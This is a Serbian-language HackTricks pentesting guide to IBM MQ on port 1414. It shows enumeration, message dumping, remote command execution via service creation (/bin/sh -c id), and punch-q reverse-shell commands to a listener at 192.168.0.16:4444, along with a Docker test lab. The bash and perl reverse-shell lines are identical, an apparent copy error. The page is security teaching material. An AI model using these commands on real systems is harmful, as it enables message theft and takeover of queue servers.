1414 - Pentesting IBM MQ

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic information

IBM MQ je IBM tehnologija za upravljanje redovima poruka. Kao i druge message broker tehnologije, namenjena je za primanje, skladištenje, obradu i klasifikaciju informacija između proizvođača i potrošača.

Podrazumevano, izlaže IBM MQ TCP port 1414. Ponekad, HTTP REST API može biti izložen na portu 9443. Metrike (Prometheus) takođe mogu biti dostupne sa TCP porta 9157.

IBM MQ TCP port 1414 može se koristiti za manipulaciju porukama, redovima, kanalima, ... ali takođe za kontrolu instance.

IBM pruža veliku tehničku dokumentaciju dostupnu na https://www.ibm.com/docs/en/ibm-mq.

Tools

Preporučeni alat za jednostavnu eksploataciju je punch-q, uz korišćenje Dockera. Alat aktivno koristi Python biblioteku pymqi.

Za ručniji pristup, koristite Python biblioteku pymqi. IBM MQ dependencies su potrebne.

Installing pymqi

IBM MQ dependencies treba instalirati i učitati:

  1. Napravite nalog (IBMid) na https://login.ibm.com/.

  2. Dekompresujte (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. Pokrenite sudo ./mqlicense.sh da prihvatite uslove licenci.

If you are under Kali Linux, modify the file mqlicense.sh: remove/comment the following lines (between lines 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Instalirajte ove pakete:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Zatim, privremeno dodajte .so datoteke u LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, pre nego što pokrenete druge alate koji koriste ove zavisnosti.

Zatim, možete klonirati projekat pymqi: sadrži zanimljive delove koda, konstante, ... Ili možete direktno instalirati biblioteku sa: pip install pymqi.

Korišćenje punch-q

Sa Docker-om

Jednostavno koristite: sudo docker run --rm -ti leonjza/punch-q.

Bez Docker-a

Klonirajte projekat punch-q zatim pratite uputstvo za instalaciju (pip install -r requirements.txt && python3 setup.py install).

Nakon toga, može se koristiti sa punch-q komandom.

Enumeracija

Možete pokušati da enumerišete ime menadžera reda, korisnike, kanale i redove sa punch-q ili pymqi.

Menadžer reda

Ponekad, nema zaštite protiv dobijanja imena menadžera reda:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q koristi internu (modificirajuću) rečnik za pronalaženje postojećih kanala. Primer upotrebe:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Dešava se da neki IBM MQ primerci prihvataju neautentifikovane MQ zahteve, tako da --username / --password nije potrebno. Naravno, prava pristupa takođe mogu varirati.

Čim dobijemo jedno ime kanala (ovde: DEV.ADMIN.SVRCONN), možemo enumerisati sve ostale kanale.

Enumeracija se u osnovi može uraditi sa ovim kodom code/examples/dis_channels.py iz pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Ali punch-q takođe uključuje taj deo (sa više informacija!). Može se pokrenuti sa:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

Postoji deo koda sa pymqi (dis_queues.py), ali punch-q omogućava da se dobiju više informacija o redovima:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Možete ciljati redove/kanale da osluškujete / preuzimate poruke iz njih (nedestruktivna operacija). Primeri:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Ne oklevajte da iterirate kroz sve identifikovane redove.

Izvršenje koda

Neki detalji pre nastavka: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neki opšti spiskovi mogu se naći u IBM MQ dokumentaciji. PCF (Programabilni komandni formati) je ono na čemu se fokusiramo da bismo daljinski interagovali sa instancom. punch-q i dalje pymqi se zasnivaju na PCF interakcijama.

Možete pronaći spisak PCF komandi:

Jedna zanimljiva komanda je MQCMD_CREATE_SERVICE i njena dokumentacija je dostupna ovde. Kao argument uzima StartCommand koji pokazuje na lokalni program na instanci (primer: /bin/sh).

Takođe postoji upozorenje o komandi u dokumentaciji: "Pažnja: Ova komanda omogućava korisniku da izvrši proizvoljnu komandu sa mqm ovlašćenjem. Ako su dodeljena prava za korišćenje ove komande, zlonameran ili nepažljiv korisnik mogao bi definisati servis koji oštećuje vaše sisteme ili podatke, na primer, brisanjem bitnih fajlova."

Napomena: uvek prema IBM MQ dokumentaciji (Referenca za administraciju), postoji i HTTP endpoint na /admin/action/qmgr/{qmgrName}/mqsc za izvršenje ekvivalentne MQSC komande za kreiranje servisa (DEFINE SERVICE). Ovaj aspekt još nije pokriven ovde.

Kreiranje / brisanje servisa sa PCF za daljinsko izvršenje programa može se obaviti pomoću punch-q:

Primer 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

U logovima IBM MQ možete pročitati da je komanda uspešno izvršena:

2023-10-10T19:13:01.713Z AMQ5030I: Komanda '808544aa7fc94c48' je započeta. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Takođe možete enumerisati postojeće programe na mašini (ovde /bin/doesnotexist ... ne postoji):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Budite svesni da je pokretanje programa asinhrono. Tako da vam je potreban drugi element da iskoristite eksploataciju (listener za reverznu ljusku, kreiranje datoteka na različitoj usluzi, eksfiltracija podataka kroz mrežu ...)

Primer 2

Za jednostavnu reverznu ljusku, punch-q takođe predlaže dva payload-a za reverznu ljusku:

  • Jedan sa bash-om

  • Jedan sa perl-om

Naravno, možete napraviti prilagođeni koristeći komandu execute.

Za bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Za perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

Možete istražiti IBM MQ dokumentaciju i direktno koristiti pymqi python biblioteku za testiranje specifične PCF komande koja nije implementirana u punch-q.

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Ako ne možete pronaći imena konstanti, možete se pozvati na IBM MQ dokumentaciju.

Primer za MQCMD_REFRESH_CLUSTER (Decimal = 73). Potreban je parametar MQCA_CLUSTER_NAME (Decimal = 2029) koji može biti * (Dok: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Greška")
else:
    print(response)

qmgr.disconnect()

Testno okruženje

Ako želite da testirate ponašanje i eksploate IBM MQ, možete postaviti lokalno okruženje zasnovano na Docker-u:

  1. Imati nalog na ibm.com i cloud.ibm.com.

  2. Kreirati kontejnerizovani IBM MQ sa:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Podrazumevano, autentifikacija je omogućena, korisničko ime je admin i lozinka je passw0rd (promenljiva okruženja MQ_ADMIN_PASSWORD). Ovde je ime menadžera reda postavljeno na MYQUEUEMGR (promenljiva MQ_QMGR_NAME).

Trebalo bi da imate IBM MQ pokrenut sa otvorenim portovima:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Stara verzija IBM MQ docker slika se nalazi na: https://hub.docker.com/r/ibmcom/mq/.

References

Last updated